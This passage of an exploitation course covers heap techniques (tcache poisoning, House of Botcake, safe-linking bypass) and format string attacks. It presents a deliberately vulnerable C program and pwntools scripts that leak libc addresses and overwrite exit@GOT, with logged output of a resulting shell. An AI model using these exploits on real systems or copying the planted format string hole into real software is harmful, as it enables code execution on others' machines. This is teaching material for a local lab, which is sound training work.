- Poison tcache to point to it
- Overwrite with
systemor win function
Exercise: House of Botcake
-
Run how2heap example:
~/tuts/how2heap/glibc_2.39/house_of_botcake -
Understand the technique:
- Fill tcache → chunk goes to unsorted bin
- Consolidation creates overlapping chunk
- Free victim to tcache → exists in both bins!
- Allocate from unsorted → control tcache entry
-
Key insight: Bypasses tcache double-free detection via consolidation trick
Exercise: Safe-Linking Bypass
-
Study the protection:
// Demangling formula #define REVEAL_PTR(pos, ptr) \ ((__typeof__(ptr))((((size_t)(pos)) >> 12) ^ ((size_t)(ptr)))) -
Write a heap leak + tcache poison exploit:
- First, leak a heap address (via UAF read or other bug)
- Calculate the XOR key:
heap_addr >> 12 - Mangle your target address before writing to tcache
- Verify with ~/tuts/how2heap/glibc_2.39/tcache_poisoning.c
Exercise: Advanced Techniques
-
Large Bin Attack:
- Run
~/tuts/how2heap/glibc_2.39/large_bin_attack - Understand bk_nextsize corruption for arbitrary write
- Run
-
House of Water (Expert):
- Study the technique on how2heap wiki
- Requires understanding of tcache metadata structure
-
House of Tangerine (Expert):
- Run
~/tuts/how2heap/glibc_2.39/house_of_tangerine - Key: Exploits sysmalloc _int_free without needing free()
- Run
Success Criteria:
| Task | Criterion |
|---|---|
| Task 1 | UAF exploit hijacks function pointer |
| Task 2 | Understand tcache House of Spirit simplicity |
| Task 3 | Tcache poisoning achieves arbitrary write |
| Task 4 | Can explain House of Botcake consolidation trick |
| Task 5 | Safe-linking bypass works with heap leak |
| Task 6 | At least one advanced technique understood |
Minimum requirement: Complete Tasks 1-4 with full understanding
Key Takeaways
- Start with UAF patterns: Understand the core vulnerability before learning exploitation techniques
- Tcache House of Spirit is easiest: No next chunk validation makes it simpler than fastbin variant
- House of Botcake is most practical: Double-free bypass works on all modern glibc (2.29+)
- Safe-linking bypass uses chunk address: XOR key derived from corrupted chunk (chunk_addr >> 12) for glibc 2.32+
- Know your glibc version: Technique selection depends heavily on target version
- how2heap/glibc_2.41 is your reference: Practice techniques in order of difficulty
- CET doesn't block heap exploits: Function pointer/GOT overwrites bypass SHSTK/IBT
- Hooks are dead:
__malloc_hook/__free_hookremoved in glibc 2.34+, use GOT or FSOP instead
Discussion Questions
- Why is tcache House of Spirit easier than the original fastbin version?
- How does safe-linking protect against tcache poisoning, and why does it require a heap leak to bypass?
- What makes House of Botcake the most practical double-free technique for modern glibc?
- When would you use House of Tangerine over House of Botcake?
Day 5: Format String Vulnerabilities
- Goal: Master format string exploitation techniques.
- Activities:
- Reading:
- Format String Exploitation
- "The Shellcoder's Handbook" - Chapter 4
- Online Resources:
- Tool Setup:
- pwntools with FmtStr module
- GDB with format string helpers
- Exercise:
- Read arbitrary memory with %x
- Write arbitrary memory with %n
- Overwrite GOT entry for exploitation
- Reading:
Deliverables
- Binary:
vuln_fmtbuilt and verified withchecksec - Offset: your correct format string offset found (the
%<n>$pwhere you see0x4141414141414141) - Leak: at least one stable pointer leak (stack/libc) parsed in Python
- Write: one working
%nwrite (flip a variable or overwrite a GOT entry) - Exploit: a pwntools script that reaches code execution (shell or
win())
Understanding Format Strings
What is a Format String Bug?:
- User input passed directly to printf-like function
- Attacker controls format specifiers
- Can read/write arbitrary memory
Vulnerable Code:
//~/exploit/vuln_fmt.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
printf("You won!\n");
system("/bin/sh");
}
int main() {
char buffer[200];
// Clear buffer
memset(buffer, 0, sizeof(buffer));
// Read from stdin to allow null bytes in payload
// use read() to avoid stopping at null bytes or newlines prematurely
read(0, buffer, sizeof(buffer)-1);
// VULNERABLE: user-controlled buffer used as format string!
printf(buffer);
exit(0);
}
Format String Basics
Common Format Specifiers:
| Specifier | Description | Stack Effect (AMD64) |
|---|---|---|
%d | Print int | Reads from register/stack |
%x | Print hex (32-bit) | Reads 4 bytes, zero-extended |
%lx | Print hex (64-bit) | Reads full 8 bytes |
%s | Print string | Reads pointer, dereferences |
%n | Write byte count | Writes to pointer |
%p | Print pointer (BEST!) | Shows full 64-bit pointer as hex |
%<number>$ | Direct parameter access | Access specific position |
[!IMPORTANT] On AMD64, always use
%pfor leaking! It prints the full 64-bit value in hex format (0x7fff...). Using%xonly shows 32 bits and can confuse beginners.
AMD64 Format String Parameter Passing:
On AMD64, the first 6 printf arguments after the format string come from registers:
- Position 1-6: RDI (fmt), RSI, RDX, RCX, R8, R9
- Position 7+: Stack
This means your buffer typically appears at offset 6 or higher on AMD64!
Reading Stack:
# Compile vulnerable program (AMD64, no -m32!)
make format-sec SOURCE=vuln_fmt.c BINARY=vuln_fmt
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_fmt.c -o vuln_fmt
# Read values using %p (always use %p on AMD64!)
echo 'AAAA%p %p %p %p %p %p %p %p' | ./vuln_fmt
# Output: AAAA0x7ffc4cb66900 0xc7 0x7cc35931ba91 (nil) 0x7cc3594c0380 0x2520702541414141 0x2070252070252070 0x7025207025207025
# ^^^^^^^^
# Your input at offset 6!
# Direct parameter access - note: offset changes with format string length!
echo '%6$p' | ./vuln_fmt # 0xa70243625 (format string itself!)
echo '%1$p' | ./vuln_fmt # 0x7ffdca13b4b0 (stack addr)
# To find your input, use consistent padding:
echo 'AAAAAAAA%6$p' | ./vuln_fmt
# Output: AAAAAAAA0x4141414141414141 ← Input found at offset 6!
Stack Reading Success:
- Input buffer found at offset 6 (confirmed with
0x4141414141414141) %6$pshows format string pointer0xa70243625%1$pshows stack address0x7ffdca13b4b0- Key: On AMD64, input typically appears at offset 6+ due to register passing
Information Disclosure
Leaking Stack Values (AMD64):
#!/usr/bin/env python3
# ~/exploit/fmt_leak.py
"""
Format string exploit to leak stack values (AMD64)
"""
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def leak_stack(offset):
"""Leak value at stack offset"""
# Use padding to keep format string length consistent
payload = f'AAAAAAAA%{offset}$p'.encode()
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Scan for our input (0x4141414141414141)
log.info("Scanning stack offsets...")
for i in range(1, 10):
result = leak_stack(i)
decoded = result.decode().strip()
marker = "<<<" if "4141414141414141" in decoded else ""
print(f"Offset {i:2d}: {decoded} {marker}")
# On this system, input is at offset 6
Run:
cd ~/exploit
python3 fmt_leak.py
Test Results:
[*] Scanning stack offsets...
...
Offset 5: AAAAAAAA0x796604c9a380
[+] Starting local process './vuln_fmt': pid 2583
[+] Receiving all data: Done (26B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2583)
Offset 6: AAAAAAAA0x4141414141414141 <<<
[+] Starting local process './vuln_fmt': pid 2586
[+] Receiving all data: Done (18B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2586)
Offset 7: AAAAAAAA0x70243725
[+] Starting local process './vuln_fmt': pid 2589
[+] Receiving all data: Done (13B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2589)
...
Stack Scanning Success:
- Input confirmed at offset 6:
0x4141414141414141marker found - Various stack values leaked: Stack addresses, libc pointers, NULL values
- Consistent results: Each offset returns predictable values
- Process management: Each scan spawns new process to avoid state corruption
Finding Your Input Offset (Quick Method):
#!/usr/bin/env python3
#~/exploit/fmt_find_offset.py
# ~/exploit/fmt_find_offset.py
from pwn import *
binary = './vuln_fmt'
context.log_level = 'error'
# Scan with consistent padding
for i in range(1, 20):
payload = f'AAAAAAAA%{i}$p'.encode()
p = process(binary)
p.send(payload)
out = p.recvall().decode()
p.close()
if '4141414141414141' in out:
print(f"[+] Input found at offset {i}")
print(f" Payload: AAAAAAAA%{i}$p")
break
else:
print("[-] Not found in first 20 offsets")
Result: On this system, input buffer is at offset 6.
Arbitrary Memory Read (AMD64)
Reading Memory at Address:
On AMD64, addresses are 8 bytes and may contain null bytes (0x00004...). Null bytes terminate strings, so we put the address AFTER the format specifier!
// Want to read memory at 0x00000000004011b6 (main)
// Problem: Address has leading zeros = null bytes!
// Solution: Put address at END of format string
// "%9$sAAAAAAAA" + p64(addr)
// The AAAAAAAA aligns to 8 bytes, then address follows
The 64-bit Null Byte Problem (Manual Payload Construction)
fmtstr_payload is magic, but you must understand why 64-bit writes are painful.
The Issue: 64-bit addresses (e.g., 0x00007fffffffe000) contain null bytes at the start (little endian: 00 e0 ff ...).
If you put the address at the start of your payload (like in 32-bit exploits), printf reads the null bytes and stops processing the rest of the string immediately.
The Solution: Place the target address at the very end of the payload.
- Calculate Offset: Determine how many 8-byte blocks it takes to reach the end of your format string.
- Argument Ordering: Use
%<offset>$nto tell printf to skip ahead to that end-block where the address lives.
# Conceptual 64-bit Write (Manual)
# We want to write 'A' (65) to 0x7fffffffe010
# 1. Padding to align stack
pad = b"A" * 8
# 2. Format specifiers (write 65 bytes)
fmt = b"%65c"
# 3. The write trigger (pointing to offset 8, for example)
trigger = b"%8$n"
# 4. Pad length to align address to 8-byte boundary
final_pad = b"B" * (64 - len(pad+fmt+trigger))
# 5. The Address (with null bytes) comes LAST
addr = p64(0x7fffffffe010)
payload = pad + fmt + trigger + final_pad + addr +
Example:
#!/usr/bin/env python3
#~/exploit/21.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def send_payload(payload_bytes):
"""Helper to send payload with null bytes"""
p = process(binary)
p.send(payload_bytes)
output = p.recvall()
p.close()
return output
# Step 1: Find payload offset
log.info("Step 1: Finding payload offset on stack")
payload_offset = 0
for test_offset in range(1, 20):
payload = b"AAAAAAAA" + f"%{test_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore')
if '0x4141414141414141' in output:
log.success(f"Payload lands at offset {test_offset}")
payload_offset = test_offset
break
else:
log.error("Could not find payload offset")
exit(1)
# Step 2: Leak Libc
log.info(f"\nStep 2: Leaking libc address")
# Leak libc from a known offset (e.g., return address or __libc_start_main)
# We need to find a stable libc pointer on the stack.
libc_leak_offset = 33
# Note: You must calculate the offset constant yourself by debugging!
libc_offset_constant = 0x2a1ca
payload = f"%{libc_leak_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore').strip()
if '0x' in output:
try:
# Output might be "0x7f..." or similar
leak_str = output.split('0x')[1].split()[0]
leak_addr = int(leak_str, 16)
log.info(f"Leaked address at offset {libc_leak_offset}: {hex(leak_addr)}")
libc_base = leak_addr - libc_offset_constant
log.success(f"Calculated Libc Base: {hex(libc_base)}")
if libc_base & 0xfff == 0:
log.success("Libc base is page-aligned! Looks good.")
else:
log.warning("Libc base is NOT page-aligned - might be wrong offset")
except (ValueError, IndexError) as e:
log.error(f"Failed to parse leaked address: {e}")
log.error(f"Raw output: {output}")
exit(1)
else:
log.error("No address leaked - check offset")
exit(1)
Arbitrary Memory Write (AMD64)
The %n Specifier (64-bit considerations):
%nwrites 4 bytes (int) - often enough!%lnwrites 8 bytes (long) - full 64-bit%hnwrites 2 bytes (short)%hhnwrites 1 byte (char) - most precise
For AMD64 addresses (0x7fff...), use %hhn to write byte-by-byte,
or %hn to write 2 bytes at a time. Full 8-byte writes are rarely practical.
Writing with pwntools (Recommended):
#!/usr/bin/env python3
#~/exploit/22.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf # CRITICAL: Sets amd64!
# pwntools fmtstr_payload handles all the complexity
target = elf.got['exit'] # Example: overwrite exit@GOT
value = elf.symbols['win'] # Redirect to win()
# Find format string offset first (see next section)
offset = 6 # Offset 6 (stdin based)
# Generate payload automatically
payload = fmtstr_payload(offset, {target: value})
log.info(f"Payload length: {len(payload)}")
# Send payload via stdin to allow null bytes
p = process(binary)
p.send(payload)
p.recvuntil(b"You won!") # Verify win
p.interactive()
Test Results:
[*] Payload length: 64
[+] Starting local process './vuln_fmt': pid 2626
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2626)
GOT Overwrite Success:
- Payload generated: 64 bytes using
fmtstr_payload - exit@GOT overwritten: Redirected to
win()function - Shell achieved: Interactive shell with user privileges
- pwntools magic: Automatic handling of 64-bit address alignment and null bytes
GOT Overwrite Attack (AMD64)
Global Offset Table (GOT):
- Stores addresses of dynamically linked functions
- Writable by default (Partial RELRO)
- Overwriting GOT entry redirects function calls
Exploit Strategy:
- Find GOT entry for common function (printf, exit, etc.)
- Use format string to leak libc address (defeat ASLR)
- Use format string to overwrite GOT entry
- Point GOT entry to
systemorone_gadget5
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 195k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 192k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 192k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 192k | Updated | Claude CodeCodex | Verified | Install |